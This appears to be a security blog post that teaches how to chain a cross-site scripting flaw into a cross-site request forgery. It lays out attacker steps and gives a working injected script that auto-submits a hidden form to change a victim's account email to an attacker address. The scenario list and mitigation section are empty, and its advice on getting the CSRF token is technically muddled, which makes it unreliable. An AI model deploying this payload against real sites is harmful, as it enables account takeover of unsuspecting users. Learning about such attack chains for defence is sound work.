Blog | G5 Cyber Security

XSS to CSRF Attack: A Practical Guide

TL;DR

Yes, a site vulnerable to Cross-Site Scripting (XSS) can often be used to exploit a Cross-Site Request Forgery (CSRF) vulnerability on another site. XSS allows you to inject malicious JavaScript code that can then trigger requests to the CSRF-vulnerable site as if they came from a legitimate user.

Understanding the Problem

Let’s break down why this works:

If you can inject JavaScript (XSS), you can create a form and submit it automatically, mimicking a legitimate request that the CSRF vulnerability would accept.

Steps to Exploit XSS for CSRF

  1. Identify an XSS Vulnerability: Find a place on the target site where you can inject JavaScript. This could be in search boxes, comment fields, or URL parameters.
  2. Identify a CSRF Vulnerable Endpoint: Locate an endpoint on another site (or even the same site) that is vulnerable to CSRF. Look for actions like changing passwords, transferring funds, or updating email addresses without proper CSRF protection.
  3. Craft the Malicious Payload: Create JavaScript code that will generate and submit a request to the CSRF-vulnerable endpoint. This payload needs to:
    • Create an HTML form with hidden fields containing the necessary parameters for the CSRF request.
    • Set the form’s action attribute to the URL of the vulnerable endpoint.
    • Submit the form automatically using JavaScript.
  4. Inject the Payload: Inject your crafted JavaScript payload into the XSS vulnerability on the first site.
  5. Victim Visits the Vulnerable Page: When a logged-in user visits the page with the injected XSS code, their browser will execute the malicious script.
  6. CSRF Attack Executed: The script will automatically submit the CSRF request to the vulnerable endpoint as if it came from the victim’s session.

Example Scenario

Let’s say:

The XSS payload could look like this:

<script>
  var form = document.createElement('form');
  form.setAttribute('method', 'post');
  form.setAttribute('action', 'https://siteb.com/profile/change_email');

  var emailInput = document.createElement('input');
  emailInput.setAttribute('type', 'hidden');
  emailInput.setAttribute('name', 'new_email');
  emailInput.setAttribute('value', 'attacker@example.com');
  form.appendChild(emailInput);

  var csrfInput = document.createElement('input');
  csrfInput.setAttribute('type', 'hidden');
  csrfInput.setAttribute('name', 'csrf_token');
  // Replace with the actual CSRF token obtained from Site B (e.g., via a GET request)
  csrfInput.setAttribute('value', 'YOUR_CSRF_TOKEN');
  form.appendChild(csrfInput);

  document.body.appendChild(form);
  form.submit();
</script>

Important: You need to obtain the valid CSRF token from Site B before injecting this payload. This is usually done by logging into Site B and inspecting the HTML source code or network requests for a hidden input field containing the token.

Mitigation

Exit mobile version